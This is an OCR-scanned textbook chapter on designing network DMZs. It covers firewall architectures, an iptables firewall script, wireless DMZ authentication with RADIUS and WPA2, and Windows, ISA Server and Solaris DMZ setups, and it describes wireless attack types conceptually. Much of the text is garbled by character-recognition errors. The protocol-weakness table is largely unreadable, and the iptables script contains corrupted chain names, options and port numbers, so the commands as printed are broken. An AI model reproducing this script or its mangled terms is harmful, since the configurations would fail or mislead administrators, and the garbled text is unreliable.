Strong-screaned subnet architectura  a type of DMZE architecture in which both the DME and
the internal networks are protected by a well-functioning firewall

Thres-homed firewall  a type of DMZ that handles the traffic between the internal network and
firewall, as well as the traffic berween the firewall and DMZ

Waak-scroenod subnat architacture  a type of DME architecture that is used when the routers
hawe hetter high-bandwidth data-stream handling capacity
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Introduction to Designing a DMZ

A DMZ demilitarized zone| is a computer host or small network inserted as a “*neutral zone™ between a com-
pany’s private network and the outside public network. It prevents outside users from gaining direct access
a server that has company data.

A DMZ is a network construct that provides secure segregation of networks that host services for users,
visitors, or partners. This separation is accomplished using firewalls and multiple layers of filtering to control
access and protect critical systems. DMZ use has become a necessary method of providing a multilayered,
defense-in-depth approach to security. Figure 5-1 illostrates the segregation of networks.

DMZ Concepts

The use of a DMZ and its overall design and implementation can be relatively simple or extremely complex,
depending on the needs of the particular business or network system. The DMZ concept was born out of the
need for separation of networks. A primary reason that the DMZ is a critical component of security design is
the realization that a single type of protection is subject to failure. This failure can arise from configuration
errors, planning ercors, equipment failure, or deliberate action on the part of an internal employee or external
artack force.

The DME has proven to be more secure and to offer multiple layers of protection for the security of the
protected networks and machines, Over time, it has proven to be flexible, scalable, redundant, and robust in
its ability to provide the cngoing protection that companies need. DM, design now includes the ability to use
multiple products (both hardware and software based) on multiple platforms to achieve the necessary level of
protection. Figure 5-2 shows a basic DMZ setup that includes a netwoark, a single firewall, and a bastion host.
The bastion bost is a device in a DMZ that is built to withstand attacks. It generally has very few applications
on it to reduce its vulnerabilities, and it serves as an access point for unknown networks.

Multitiered Firewall with a DMZ Flow

In a multitiered Firewall, shown in Figure 5-3, a DMZ is established, seplrat:ﬂ. and pu'n'becbﬂl from both the
internal and external metworks. This type of configuration is used guite often when there is a need to pro-
vide more than one type of service to the public or outside world, such as e-mail, Web servers, DMS, and so
forth. Traffic to the bastion host can be allowed or denied as necessary from both the external and internal
networks, and incoming traffic to the internal network can be dropped at the external firewall. Qutbound
traffic from the internal network can be allowed or restricted either to the bastion host (DMZ network ) or
the external netwark.

e TrrH
Wk Cluey
|11}
L bl b
g '
CORFORATE
McaTions
P MEpast mne

Figure 5-1 Firewalls are essential for the secure segregation of networks.
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Figure 5-2 DMZT configurations can be as simple
as a network, a firewall, and a bastion host.

Figure 5-3 A multitiered firewall is useful for protection from both
intemal and external netwarks.
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DMZ Design Fundamentals

DMZ designs generally consist of firewalls and segments that are protected from each other by firewall rules
and routing as well as the use of RFC 1918 addressing on the internal network. DMZ designers must also plan
the topology, predict traffic flows, implement logical addressing, and address any other factors that would af-
fect the system’s planned operation.

Diesign of the DMZ is critically important to the overall protection of the internal network—and the success
of the firewall and DMZ deployment. The DMZ design can incorporate sections that isolate incoming VPN
traffic, Web traffic, partner connections, employee connections, and public access to information provided by
an arganization.

Design of the DMZ structure throughout the organization can protect internal rescurces from internal at-
tack. Multiple design possibilities exist, depending on the level of protection that is reguired in the particular
enterprise configuration. DMZ architects must accurately assess the actual risks to an organization so that they
can design adequate protection.

Diesign of the DMZ allows an organization to implement a multilayered approach to securing resources that
dies not depend on a single weak point in the plan. This minimizes the problems and loss of protection that
can occur because of poocly configured rule sets or access comiral lists (ACLs). These are lists that determine
wha is allowed access to an item in a netwark and how that item can ke used. It also reduces the problems that
occur due to hardware configuration errors.

DMZ Protocols

Protocol use within a DMZ environment is highly variable, depending on the specific needs of an crganization.
A user should be aware of the potential risks associated with protocols that are frequently and actively artacked
due to known vulnerahilities and weak code,

Figure 5-4 provides a brief overview of some known issues with various protocols.

Pratacal Basic Weaknass

File Transter Protocol (FTF Mo encryptian, exposing usernames, passwonds, and
paylaad in clear texe

Tolnet wuinersble to buffer overfiow attacks, reolay, and
spooding o gain privilege and decover paswerds,
sllowing potential for breach of service

Hyportaot Transdor Many socurity wulnorabilitios within various vender

Frotocal (HTTP) software Implementations;, pocr HTTP server configu-
ration allows privilege escalation and compremise

Lightweight Direcbory Some implementations are swhjesc S0 bulfar auerflow

Acend Pratool [LOAR) and Db attacks, with possibility al priviege slsation

and Micaseit DlrE{'[{lf:.'

farvices

Simpla Metanrk Da% and buffer ouerflow attacks are possibla ax are

Mlansgement Protacod socurity risks posed by admiristrators who ke the

1SEMMP) comemuniby names and ather information in delaalt

configurations; some conditions can result in privilegs
ezcalation and compromise

Seoure Shall (55H) Frivilege csmalation, sysiem campramise when code run
under mot credentials, Dos attacks

Domaln Mame Sendces (BNS) Many security vulnerabilitios within various vendor soft-
ware implementations allow privilege escalation and
compromise; widespread deployment needed for

Iritarn&l use

Scwwrea: Flyus, Hal, Thesigving ad Nu king Erterpriss DRE, Syagres, copyright 1996,

Figure 5-4 Certain protocols are wulnerable to attack and should be uwed with
cautian.
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Advanced Design Concepts
Internal Network Access

In the past, standard DM Z designs almost always defaulted to a condition in which the internal networks access
to the external public metwork was unrestricted. As threats have grown in complexity, it has become clear that
outhound access restrictions are often needed to prevent perpetuation of malicious traffic such as worms and
viruses. The following recommendations are important for securing internal networks:

* Consider the methods that might be used to provide VPN services to special connections such as Frame
Relay and PVWC circuits or Internet-based home users
® Limit or restrict outhound traffic from the internal network to inappropriate services such as FTP or mes-
saging services
* Pravide for out-of-band management capahilities on all DM Z design segments as well as intrusion detec-
tion services where they are appropriate
Intramet users have regularly been allowed full and unrestricted access o public neework resources via the
DME structure, Often, the protection for the internal network imeelves using MAT- or proxy-based connectiv-
ity to allow outward flow while restricting inbound requests to the internal network. The following special
considerations should be incorporated imto the overall design of any DMZ:
Traditional kecal area network (LAN j-hased protocols, such as Microsoft CIFS, should generally not be
used outhbound o transmic and receive data from wide area network [WAN) destinations

= Known worm-propagation protocols and ports should be denied outbound access to prevent the spread
of malicious traffic should a system be compromised on an internal network

= DMZ design lends itself to allowing contral of unnecessary services that may be present on the external
network. For instance, the DMZ design may incorporate outhound blocking of ports to services provid-
ing instant messaging, cuthound blocking of nonbusiness-related networks, and other restrictions as

appropriate b a system
* Known management pores for externally located devices and services should be blocked from the
internal network

Additionally, look at the applications that are in use by the internal network to determine the appropriate
level af outhound access to accommadate those applications. The design should include the capabilicy to estab-
lish internal DMZ structures o protect confidential information from the general LA operation. This could
include segregation of financial data or provisions for VPN access to the internal network that does not originate
from the public network (such as Frame Relay PVC channels or PSTN modem access).

Remote Administration

Remote management and administration of the various pieces of hardware within the DMZ design provide
anather challenge for the designer. Although it is extremely tempting to use the built-in capabilities of the vari-
ous operating systems and the management software provided for many hardware devices, it is very important
to thoroughly review alternatives. [t is certainly technologically possible to access the equipment in the DMZ
through the use of 55H, telnet, or Microsoft's Terminal Services and to create firewall rulbes allowing traffic on
the necessary ports to accomplish this task.

Management tools, including SMMP-based traps and management agents, rely on the integrity of the net-
work and the systems on which they are lpaded to provide reports and management capabilities used to control
the configuration of hardware and servers. No management is possible because equipment can't be reached.
Orvercoming this problem necessitates the concept of in-band versus out-of-band management. The alternative
of providing cut-of-band management capabilities can be accomplished in a number of ways, including serial
connections to secured management ports on the devices to be managed or a separate, management-screensd
subnet, as illustrated in Figure 5-5.

In this simplified design, the servers located in the DMZ are each configured as a multibomed machine
with the additional adapters configured to accept communications only from the designated management
workstation{s), if security policy allows multiple administrative units. Optimally, this second interface is a
dedicated management part commonly found on today's server platforms. The cutside firewall is configured to
allow specific port-based traffic to flow from the management workstation to the servers, and the management
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Figure 5-5 DMZs can incude & separate, management-
screenied subnet o increass management capahilities.

warkstation is not accessible from either the untrusted network or the protected LAMN. This approach eliminates
many of the security vulnerabilities that are present when management options include only in-band teols

Authentication

It is generally inappropriate to locate a RADIUS [Remote Authentication Dial-In User Service) or TACACS+
[T:mina] Access Controller Access-Control System Mus) server in a DMZ segment, because it creates a condi-
tion in which the authentication information is potentially accessible to the public netwaork.

In some environments, it might be necessary to implement a plan to accommodate the authentication of users
entering the DMZ from a public network. In this case, the DMZ design should include a separate authentication
DMZ segment, and the equipment in that segment should be hardened. At this point, it is possible to provide
an RRAS (Routing and Remote Access Service) server in the DMZ with no internal account information, and
utilize ACLs and packet filtering at the firewall to restrict the traffic between the two machines to the authen-
tication traffic. It is recommended that this process utilize IPSec, and it would require that Protocal 1D 51 for
IPSec and IKE traffic on port 500 {UDP| be allowed for the communication to ccour. It is also possible that other
third-party authentication products, such as Cisco’s CiscoSecure ACS, could provide a gateway and controls to
allow this functionality.

DMZ Architecture
Inside-Versus-Qutside Architecture

In inside-versus-ontside architecture, the packet-filtering routers act as the initial line of defense. They pre-
vent the entry of unwanted and unauthorized packets. Behind this router setup, there is a complete firewall
setup. The inside-versus-outside architecture design is shown in Figure 5-6. There is no direct connectivity
between the internal or external router in the internal network; traffic from or to the router passes through a
firewall that protects the internal network.

The drawback to this system is that public services such as SMTP (e-mail), Domain Mame Service {DNS),
and HTTP ["WW W) must either be sent thmug}l the firewall to internal servers or be hosted on the firewall
itself. In such conditions, sometimes it is impossible to detect internal attacks.
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deferae. ard DMEZ

Three-Homed Firewall Architectura

In simple terms, a DMZ can be defined as a network that is reachable to the public but isolated from the internal
network. & free-boomed ﬁmm.l'.l' DMZ handles the traffic between the internal network and frewall, as well
as the traffic between the firewall and DMZ, as shown in Figure 5-7.

It uses the following evaluating rules when handling network traffic:

= Internal network to the DMZ

* DMZ o the internal network

= [Internet to the DMZ

® DMZ to the Internet

= [Internet to the internal network

= Internal network to the Internet

The drawhback to this architecture is that, i:|1|:=n1a|]5.-, the hosted services are considered in.d.'iv'ld.uaﬂ}'.

Weak-Screened Subnet Architecture

A weak-screemed suburet architecture is used when routers have better high-bandwidth data-stream handling
capacity. Figure 5-8 gives an example of this type of architecture.

Strong-Secreened Subnet Architecture

In a stromg-soreened subnet architecfure, both the DMZ and the internal networks are protected by a well-
functioning firewall. Because the strong-screened subnet architecture is dependent on the firewall and not on
the router, it provides more stahility to the network and protects it from attacks. A firewall is a far better option
than a router for pratection because more people control a router than contral a firewall, which may result in
a weak administrative password and weak access control lists. Again, routers are considerably more prone @
hacking than well-configured computers.

The advantage of a strong-screened subnet architecture is that it supports high volumes of traffic. It can use
a heterogeneous firewall, like a packet-filtering firewall, for the external firewall and an application gateway
firewall as the internal firewall (Figure 5-9).
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Figure 5-3 A strong-screened subnet architecture
usess both an internal and an external firewall.

Designing a DMZ Using IPtables

A DMZ allows the use of two firewall systems or routers for the purpose of accessing an solated netwodk. The sys-
tem can be placed in between two firewalls to restrict access af both internal and external visitors (Figure 5-10)
The autside firewall serves the following two purposes:

* It helps to set up rules to protect publicly available systems.
* [t allows use of one public 1P address to provide access to several different Internet servers.
The IPtables script is written as follows o set up the outside firewall:
# FORWARD: Enable Forwarding and thus IPMREQ
# Allow all connections OUT and cnly existing/related IN iptables
-A FORMWARD -i $EXTIF -0 SINHTIF -m state --stats
ESTABLISHED, RELATED -j ACCEFT
iptables -A FORWARD -i SINTIF -0 SEXTIF -j ACCEFT
# Allow forwarding of incoming Port B0 traffic to OMZ Web server
iptables -A FORWARED -1 SEXTIF -o SINTIF -d 152.168.1.6 -p tcp -
dport B0 -j ACCERT
# Cactch all rule, all other forwarding is denied and logged.
iptables - A FORMARD -j drop-and-log-it

# Enable SHAT (MASQUERADE) functionality on $EXTIF iptables -t nat
-h DOSTROUTING -o SEXTIF -j ENAT --to SEXTIP
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Figure 5-10 The irside and gutside firewalls in a DME serve
maltiple functions.

¥ Enable DMAT port translation to DMEZ Web server iptables -t nat
- PREROUTING -i SEXTIF -d SEXTIP -p tcp --dport BO -j OWAT -bo 192.168.1.6
echo -2 * Firewall server rule loading complete\ohn®

The inside firewall dises most of the restriction while granting access to the established network. Incoming
traffic should be restricted to only “established™ traffic. This is accomplished by using the following command
in the previous scripe:

iptables -A FORMARD -1 SEXTIF -o SINTIF -m state -stake

ESTABLISHED, RELATED -j ACCEPT

Designing a Wireless DMZ

A WLAN (wireless local area network] is subject to the same netwoark attacks to which any wired network
could he vulnerable. However, there are some attacks that are specific to a wireless netwoark that would not he
possible if it werent broadcast through the air. Identifying these attacks will help clarify why an access point
should not be left open.

In general, attacks on wireless networks fall into four basic categories:

® Frssive attacks: A passive artack ocours when someone listens to or eavesdrops on network traf-
fic. Armed with a wireless network adapter that supports promiscuous mode and the right software,
an eavesdropper can capture netwark traffic for analysis. When the network interface card {MIC) is
in promiscucus mode, every packet that goes past the interface is caprured and displayed within the
application window. Passive attacks include the following methods:

* Wardrieing: There are many software packages publicly available for wardriving enthusiasts to
choose from. One popular Windows-based program is MetStumbler. Some other popular programs
that run on multiple operating systems are Kismet and Airsnort. Most wardrivers are young and
interested in finding free, open Wi-Fi hotspots.
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= Suiffirg: Onginally conceived as a legitimate network and traffic analysis tool, sniffing remains one
of the most effective techniques used in attacking o wireless network, whether to map the network:
as part of a target reconnaissance, to grab passwords, or to capture unencry pred data. Sniffing is the
electronic form of eavesdropping on the communications that computers transmit across networks.

* Active aftacks: Omnce an attacker has gained sufficient information from a passive attack, he or she can
then launch an active attack apainst a network. There are potentially a large number of active attacks
that a hacker can launch against an apen wireless network. For the most part, these attacks are identi-
cal te the kinds of active artacks that are encountersd on wired networks. These include, but are not
limited to: unauthorized access, spoofing, Dos, and flooding attacks, as well as the introduction of mal-
wre |malicious software) and the theft of devices. With the rise in popularity of wireless networks new
variations of traditional attacks specific to wireless networks have emerged, along with specific terms o
describe them, such as drive-by spamming, in which a spammer sends ot tens or hundreds of thousands
of spam messages using a compromised wireless network. Active attacks include the following methods:

= Spoofing (interception) and unasthorized aocess: Spoofing is an attacker’s ability to trick the nerwork
equipment into thinking that the address from which a connection is coming is one of the valid and
allowed machines from its network.

®  Dewial-of-service and flooding attacks: The nature of wireless transmission, especially the use of
spread-spectrum technology, makes a wireless network especially vulnerable to DoS attacks. The
equipment needed to launch such an attack is freely available and very affordable. A Do5 occurs

when an attacker has engaged most of the resources a host or network has available, rendering that
host ar network unavailable to legitimate users.

Man-in-the-middie attacks: These attacks are conducted when an attacker places a rogue access point
(AP} within range of a wireless station. If the attacker knows the 5500 that neework is using and the
rogue AP has encugh strength, wireless users might have no way of knowing that they are attempting to
connect to an unauthorized AP, Using a rogue AP, an attacker can gain valuable information ahout the
wirebess netwark, such as authentication requests, the secret h::g.I that is in use, and so on. Often, the at-
tacker will set up a laptop with two wireless adapters in which the rogue AP uses one card and the lap-
top uses the other to forward requests through a wireless bridge to the legitimate AF. With a sufficiently
strong antenna, the rogue AF does not have to be in close proximity to the legitimate AP,

= Metwork hijacking and modification: Numerous techniques are available for an attacker to “hijack”
a wireless network or session once they are associated with an AP. However, unlike some attacks,
network and security administrators might be unable to tell the difference between the hijacker and
a legitimate “passenger.” If the attacker spoofs as the default gateway or a specific host on the net-
wark, all machines trying tos get to the network or the spoofed machine will connect to the artacker’s
machine instead of the gateway or host to which they intended to connece. A dever attacker will anly
use this machine to identify passwords and other necessary information, and route the rest of the traf-
fic to the intended recipients. [f the attacker does this, the end users will have no idea that this “man in
the middle™ has intercepted their commumnications and compromised their passwords and information.

* lmmming attacks: The last type of attack is the jamming attack. This is a fairly simple attack to perform
and can be done using readily available, off-the-shelf radio-frequency (RF| testing tools.

Placement of Wireless Equipment

A wall that can block a signal or interference from other 2.4-GHz devices, such as cordless phones and mi-
crowaves, or other access points might cause too much noise and effectively cancel out the desired wireless
signal. Electromagnetic shielding is an effective way to block eavesdropping attempts.

The placement of wireless equipment depends on the nesded accessibility area for the WELAMN. A site survey
can be conducted to determine the proper number of access points needed based on the expected number of
users and the specific environment, as shown in Figure 5-11.

Access to DMZ and Authentication Considerations
Access to DMZ Services

The process of configuring access to DME services is the same whether o WLAN or a wired network is being

used. A firewall, or at least a router with access control lists (ACLs), should be in place to monitor and contral
comnections in the DMZ.
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Authentication Considerations

When choosing authentication methods for a WLAMN, the administrator must first compare the desired security
level with the available hardware. Some older network cards and access points might not support the WEFA2
standard. If the wireless netwaork is going to be an open access point, authentication would not be comvenient. If,
however, a high level of security is needed on an organization’s wireless LAM, it should be set up to support the
authentication and encryption standard WFA2-Enterprise, and utilize client-side certificates with smartcards.
There are a number of options in between these two extremes that will benefit the specific needs of a particular
arganization. The following encryption and authentication methods are useful for different levels of security:

® WEF: WEP is the basic security encryption mechanism that was provided in the original 802.11b speci-
fication from the Institute of Electrical and Electronics Engineers (IEEE). It is based on the RC4 stream
cipher and is available in 64-bit and 128-bit implementations. WEF is weakened by the use of a 24-bit
initialization vector (IV) that is reused in a short period of time, thus rendering WEP vulnerable to
attack by several readily available cracking tools. In late 2002, the Wi-Fi Alliance changed the require-
ments for becoming Wi-Fi certified to include Wi-Fi Protected Access |WEFA)L

s FEAP and 802 Ix: Extensible Authentication Protocol (EAP) is defined in RFC 3748 as an authentica-
tion framework that supports multiple authentication methods. EAF is most commonly used with either
Puint-to-Foint Frotocol {PPP) or IEEE 802, where [P-layer connectivity might not be available. WFA and
WPAL use EAF as the basis for their authentication mechanisms. EAF can be used in either an enter-
prise mode, which utilizes a central authentication server (such as RADIUS), or a simplified mode using
a preshared key. 802.1x is a subset of EAP that is defined as port-based authentication; it plays a major
rale in the IEEE 802.11i standard. Prior to authentication,, only uncontrolled ports are open on the AT,
in which only EAP traffic is allowed. Onee a network client is authenticated, a controlled part is open
and the client can access additicnal network resources.

Wireless DMZ Components
Access Points

In simple terms, an AP is a layer-2 device that serves as an interface between the wireless network and the wired
network. Al are the wireless networking equivalent of a standard Ethernet hub, in the sense that they allow
multiple clients using the same network technology to access the core network, with a shared amount of band-
width awvailable to all clients. The AF is ane of two items that form the backbone of the WLAN. When it comes
to choosing an AF, however, there are a multitude of choices, each presenting different benefits and costs. An
AP should be complementary to the chosen wireless network adapter—meaning, that if a more powerful and
advanced AF is chosen, network adapters that can take advantage of the often vendor-specific features provided
in the AP should be used with it.

Network Adapters
Aswith the AT, the type of network adapter will determine the types of security solutions that can be implemented.
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Authentication Servers

Authentication servers tie in with the wireless DMZ solution by enabling the AP to authenticare clients
that want to legitimately access the network. A RADIUS server could ke used to verify the identity of the
wireless client that is attempting to connect. When the user first attempts to connect to an AF configured to
use EAP, the AP hands the autharization over io the authentication server. After successful authentication,
the AP wpens the port and grants access to the client. An authentication server can also participate in the
B02.11i key-management functions. After authenticating a client, the server then provides a unigue master
key to the client. From this key, a new key is generated and provided to the access point. From there, four
mare keys are generated, including Temporal Key 1 and 2 [TE1/TK 2}, which will he the keys used to encrype
the communications.

* Windowes methentication: Microsoft provides an Internet Authentication Service (1AS) server with
RADIUS and proxy capabilities to centralize AAA (authentication, authorization, and accounting) for
many types af metwork access, including wireless connections in Windows Server 2003, The
authentication protocols 1A% supports for use with wireless networks are as follows:

* RADIUS Extensible Authentication Protocol-Message Digest 5 CHAP (EAP-MDS CHAP)
* EAPM-Transport Layer Security [EAP-TLS)
* Pratected EAP-MS-CHAF v2 [PEAPYIVEAP-MSCHAPYI)

* RADIUS: RADIUS servers provide network users with AA A In short, RADIUS servers are used on
the back end of a network to provide a flexible and scalable system to authenticate users attempting to
access network services. Originally developed for dial-in access using modems, RADIUS has proven
flexible and powerful enough to handle authentication of users through various other connection means.
EAP-FAST, for example, takes advantage of B02.1x port-hased access controls to further increase the
security of the wireless and wired network. The RADIUS server performs the critical task of verifying
that the user is authorized to gain access to the network through either an internal (native) database or
by using the domain database [Active Directory).

Enterprise Wireless Gateways and Wireless Gateways
Diriven by the uniguely special needs presented by WLANs and their security, the enterprise wireless gateway
(EWG| was created to provide enhanced security and management. An EWG is a specially designed and huilt
hardware device that performs several key functions in one unit:
= Bogter: EWGs have ae least two Ethernet imterfaces, one for the wireless segment and at least one for the
wired segment. Many also offer additional failover interfaces for the wired segment. An EWG can also
make certain that packets traversing the network destined for other subnets get to their intended source.
* Fireswsll: Many of the EWGs currently on the market offer firewall-like services by providing staveful
inspection of all traffic passing through them.
* WPN server: Most EWGs typically provide VPN support, allowing clients to create VPN connections to
the EWG [and thus the wired segment). They suppore IPSec, L2TF, and PFTP, as well as authentication
for larger implementation.

Hrewalls and 5creening Routers

Firewalls and screening routers can still play a role in creating and implementing a2 WLAN DMZ. They
provide the same protection and support that they would in a strictly wired network, but are not enough by
themselves to account for the various security concerns associated with the WLAN. This is due to the fact that
firewalls and screening routers are devices primarily used for traffic filtering via user authentication. When
used together with a well-crafted WLAN DMZ security solution, they still have a useful purpose. Cisco,
Check Paint, NetScreen, and [5A Server are several examples.

COrther segmentation devices fol low:

* S5HZI servers

* VPN servers

* Virtual LAMs {VLANS)

* Layer-3 switches
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Figure 512 & RADIUS server can be used to provide awthentication
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In a standard DMZ arrangement, the firewall provides three interfaces:
® Fublic

& Private

= DAME

Wireless DMZ Using RADIUS to Authenticate Uisers

E13

Figure 5-12 shows an example arrangement that could be used to provide RADIUS authentication for wireless
clients attempting to gain access to a netwaork. In this example, both the wireless network adapeer and the AF are
Cisco products that support the use of WPA2. The process by which the client gains access to the network is

outlined briefly here

1. The client computer requests to associate with the AP

2. The AF, using B0Z_1x port access controls, blocks all access to the wired network segment.

3. The user performs EAP-FAST authentication to the RADIUS server using the required credentials. This
process invalves the RADIUS server and the client performing mutual authentication. After this is done,
the RADIUS server dynamically generates a master key that will be wsed by the AP to generate the keys

that will secure the connection.

4. The RADIUS server then delivers this dynamic key to the AP, which generates four new keys with

the client.

5. The dient and the AP use the WPAZ keys to securely communicate, and the client is now associated with

the AF. If required, a DHCP lease will be granted to the wireless client.

6. The client now securely accesses resources on the wired segment of the nerwork.

WLAN DMZ Securfty Best Practices
The fallowing practices should be carried out to ensure the security of a DMZ:
® Perform a risk analysis of the network.

= Develop relevant and comprehensive security policies and implement them throughout the network.

= Carefully review the available security features of wireless devices to see if they fulfill the security require-
ments. The 802.11 and Wi-Fi standards specify only a subset of features that are available on a wide range of
devices. Over and above these standards, supported features vary widelys this is where the DMZ or the

VPN comes inbo play.
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Wireless vendors are continually addressing the security weaknesses of wireless networks, Check the
wirebess vendors’ Web sites frequently for firmware updates and apply them to all wireless devices. A
network could be fatally exposed if even one device is not updated with the most recent firmware.

Abways use WPA or WPAZ encryption.

Always change the default administrative password used to manage the AF. The default passwoards for
wirebess APs are well known. If possible, use a password generator to create a difficult and sufficiently
complex password. Mever use a word found in the dictionary. Change the default 5510 of the AT. The
default S5I0s for ATs from various vendors are well known, such as fsumami for Cisco APs and limksys
for Linksys APs.

Dir naoe puat any kind of identifying information in the 5510, such as the company name, address, prod-
ucts, divisions, and so on. This provides too much informaticn and advertises information that could
make the network appear to be of sufficient imterest to warrant further attacker effort.

If possible, disable 5510 broadcasts.

Dir not use shared-key authentication. Although it can protect a network against specific types of Do5
attacks, ather kinds of DoS attacks are stll possible. Shared-key authentication exposes encryption keys
by COMMpPTOImse.

Learn how to use site survey tools and conduoct frequent site surveys to detect the presence of rogue APs and
ter detect vulnerabilities within the netwaork.

Dy nat: place the AP near a window. Try to place it in the center of the building so that interference will
hamper the efforts of wardrivers and others trying o detect traffic. Ideally, the wireless signal would
radiate only to the outside walls of the building and not beyond. Try to come as close to that ideal as
possible. If possible, purchase an AT that allows the user to reduce the size of the wireless zone [cell
sizing) by changing the power output.

Learn the details of the operation and security of wireless networks.

Educate metwaork users ahout safe computing practices, in the comtext of using both wired and

wirebess networks.

Specific Operating System Design
Designing a Windows-Based DMZ
DMZs are the best location to place and secure publicly used information and services. These could include
servioes such as: an e-commerce site, 2 Web site, an FTT site, a VI'N-based service, and so on. Windows DMZ

hastion-host design foecuses on accurate placement of servers on a network.
The folluwing steps should be taken to design a secure Windows-based DMZ:

3

B.

i

Select all the needed networking hardware.

Scale up the number of connections to the Imternet because the VPN services, external DNS, and other
services will be added sponer rather than later.

. Add more bandwidth and site-to-site VPN services to the external Internet routers, and make sure that

the routers have crypho cards jto use IPSec for VPNs) installed.

. Set up a load-balanced solution with multiple 115 servers and a possible back-end database cluster, for

scalability reasons.

. Make sure that users can obtain the information they need about the crganization without accessing the

internal netwaork.
Segment Internet-based resources via the DMZ for an added level of safety.

Finalize the network layout.

Precautions for DMZ Setup

After planning the network layout, the designer should consider other possible access to and from the DMZ.
Secret, protected, confidential, and proprietary information should be stored behind the firewall and DMZ on
the internal network. Servers on the DMZ shouldn't contain sensitive trade secrets, source code, proprietary
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Figure 5-13 DMZs can host a wariety of systems.

information, or anything that coould be used to exploit or hack into systems. A breach of the DMZ servers
should create am annoyance in the form of downtime while recovering from the security breach, rather than
a complete system breakdown. Here are examples of systems that could end up on a DMZ (see Figure 5-13
for an exlmple'l:
= A Web server that lrodds parhlic information: This could be 115 ar any ather publicly accessible Weh
server. [t could also be FTP services, MMTT services, or other Web-based services to be accessed
and utilized.

® Electromic-commerce solitions: The front end of an e-commerce transaction server is the one through
which orders are placed. Keep the back end, where client information is stared, behind the firewall.
Systems must be designed propery. If they are not, the entire client database jor personal and private
data) will be compromised if that system is exploited.

= A mail server that relays owtside mail to the inside: This will be a highly utilized solution,, especially
simce spam and ather e-mail exploits are commonly used to attack DMZ hosts.

= VPN solutions: VPN solutions allow clients to connect over the Internet to get to their files and other
data they need on the corporate network. These data also have to be publicly accessible via the DMZ.

® fecurity devices: These include intrusion detection solutions, honeypots, and other items.

Security Analysis for the DMZ

After the DMZ network segment design is finalized and the systems are placed where they need to be, the
security of such systems should be taken into account. To keep the security analysis portion of DMZ design
to a minimum, it is helpful to isolate the two biggest targets of attack and consider their vulnerabilities.
Figure 5-14 illustrates these as Zones 1 and 2
® Fone ]
* Fome | is more vulnerable to exploitation
= Zomne | is where external router and switch security should be considered, as well as the outside part
af the firewall
= Zome | would be a good place for a network-based ID5
" Fonel
= Zone 1is the actual DMZ
= The DMZ is where the Windows servers and the services they offer are located
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I5A Server Support to DMZ Configuration

An 15A firewall network needs to be created for the wireless DMZ segment. The 15A firewall uses the 154 fire-
wall netwaork to determine whether the network is connected or not. It also wses the firewall network definitions
for determining the routing relationship between the source and the destination networks.

154 firewall networks are defined depending on per-network interfaces; these network interfaces work as a
roat of an I5A firewall network. As one IP address can only ke reached from a single network interface on the
154 firewall device, no 1" address can be psad for more than one 154 firewall network. Az a result of this, all
interfaces installed on the 154 firewall must be located on different network 1Ds.

The following steps will help to create the DMZ 154 firewall network (Figure 5-15):

B.
.

In the Microsoft Internet Security and Acceleration Server 2004 management console, expand the server’s
name and then expand the Configuration node. Click the Metworks node.

. Om the Metworks node, click the Metworks tab in the details pane of the I5A firewall console. On the

Tasks tab in the task pane, click the Create a Mew Metwork link.

. Om the Welcome to the Mew Metwork Wizard page, enter DMZ in the Metwork name text box.

Click MNext.

. Om the Metwork Type page, select the Perimeter Network option and click Next.
. Om the Merwork Addresses page, click the Add Adapter button.
. In the Select Metwark Adapters dialog box, select the DMZ interface and then check the DM Z interface's

check box. The network information pulled from the Windows routing table appears in the Metwork
Intecfaces Informatien dialog box. Click OF.

Click Mext on the Metwork Addresses page.
Click Fimish on the Completing the MNew Metwork Wizard page.
The new [5A firewall network appears in the list of networks on the Networks tab.

Designing a Sun Solaris DMZ

Solaris is a commercial UNIX operating system distributed by Sun Microsystems. The combination of Sun
hardware and software makes systems that use Solaris some of the best-performing servers in the waorld.
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Figure 5-15  &n 54 firewall can be utilized on Windows-based systems.

However, Solaris can be used as more than just an ancillary of services such as database, Web, and e-mail.
With roots in the Berkeley Software Distribution (BSD) UNIX word, Solaris is well equipped to perform as
a DME server.

The Sun hardware platform supports Windows, Linox, Trusted Solaris, and standard Solaris. Sun has in-
troduced new features to increase security, scalability, stability, and performance in Selaris 10, Features such
as predictive self-healing, ZFS file system, cluster volume manager, Grand Unified Boot Loader |{GRUE) on the
x86 plathorms, OSFFv2 and BGP-4 routing protocol support, 1P Filter 1Pw6 support, 551 acceleration, 11 Filter
Firewall, Web console, and zones deserve mention here.

The following features are helpful in deploying Sun Solaris as a DMZ platform in an organization:

® Fomes: Fones or containers are virtualized 05 services, or simply put, multiple instances of Solaris 0%
running on a single hardware platform. This approach belps administrators decide on the amount of
respurces ta be allocated to applications and services withowt interfering with each other. For security ar
manageability purposes, services such as Web and mail that would normally be run on different server
hardware can be run on a single hardware platform, iselated into zones. Failure or nonperformance of
omne of the virtual operating systems doesn’t impact the performance of another application running in a
completely different OF instance.

® FF5: Fertabyte File System (ZF5), introduced in Sun Solaris, uses a concept of pooled storage, bringing
performance enhancement and integration of file systems with volume management.

* Reduced Networking Softiars Group: Solaris allows building a secure server with only those services
that are absolutely necessary for running a designated application. It gets the control of what is installed
and what is not from the installation stage itself, facilitated by a text-based console and various admin-
istration utilities. It can add and remove software packages, and enable or disable services and network
interfaces as needed. This ensures that some services are not enabled inadvertently, which could cause a
security loophaole later in the netwark.

Placaiment of Sarvers

Placing the system on the DMZ depends on network requirements. Smaller networks generally place the DMZ
server directly behind the router.

Although this is not the most ideal configuration because it does not permit easy scaling of network re-
sources or easy integration of high availability, this design should be sufficient for smaller networks.

Figure 5-16 shows that network traffic first enters via the network router and next goes directly to the
DME server. From there, the traffic proceeds to its next hop in the network infrastructure, which in this case
is a switch on the public or private network.

The router has a valid routable address on both interfaces. The DME server has a valid address on twa
imterfaces, and on one intecface it has a private network address. Traffic coming from and going to the private
imterface is translated using network address translation (NAT).

In this type of configuration, the DMZ server is capable of handling several networks. However, when traffic
grows to the point that the DME server can no longer handle the load, the network needs to be redesigned to
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scale cutward to handle the additional traffic. In addition, this configuration makes it difficult to monitor the
metwork outside the DMZ server with netwaork intrusion detection systemn | WID5) tonls. However, for small
offices or businesses, this configuration is a workable solution.

Advanced mplementation of a Sofarts DMZ Server

Basic configuration makes it difficult to monitor the network outside the DMZ. server with network 105 tools.
Figure 5-17 shows a configuration that is a little more advanced and scalable. When traffic enters the netwaork,
it crosses the border router. It then immediately goes to o switch, where it is passed to the DMZ server. From
the DME server, it proceeds to the switch on the public or private network.

In this type of configuration, a switch is placed immediately behind the router. This is an important feature
in the design because, as the network grows, address space is patentially added. In doing so, network space is
